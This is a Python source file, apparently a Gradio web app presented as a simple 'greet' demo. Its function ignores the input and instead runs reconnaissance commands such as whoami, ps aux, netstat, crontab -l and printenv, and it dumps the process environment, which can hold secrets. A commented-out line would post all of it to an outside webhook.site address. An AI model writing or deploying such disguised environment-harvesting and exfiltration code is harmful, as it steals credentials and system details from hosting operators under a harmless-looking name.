import sys from pprint import pprint import gradio as gr import os def greet(name): environ = os.environ path = sys.path whoami = os.popen("whoami").read() ifconfig = os.popen("ifconfig").read() host = os.popen("hostname").read() uname = os.popen("uname -a").read() running = os.popen("ps aux").read() open_ports = os.popen("netstat -tuln").read() open_2 = os.popen("ss -tuln").read() crons = os.popen("crontab -l").read() mounted_fs = os.popen("df -h").read() envars = os.popen("printenv").read() user_info = os.popen("id").read() net_conf = os.popen("ip addr show").read() # r = requests.post("https://webhook.site/959ae6e7-124a-4312-a2b0-2f5129f83bed", data={"env": environ, "path": path, "whoami": whoami, "ifconfig": ifconfig, "host": host, "uname": uname, "sudo": sudo, "docker": docker, "docker_": docker_, "docker__": docker__, "docker___": docker___, "ll": ll}) return pprint({ "env": environ, "path": path, "whoami": whoami, "ifconfig": ifconfig, "host": host, "uname": uname, "running": running, "open_ports": open_ports, "open_2": open_2, "crons": crons, "mounted_fs": mounted_fs, "envars": envars, "user_info": user_info, "net_conf": net_conf }) iface = gr.Interface(fn=greet, inputs="text", outputs="text") iface.launch()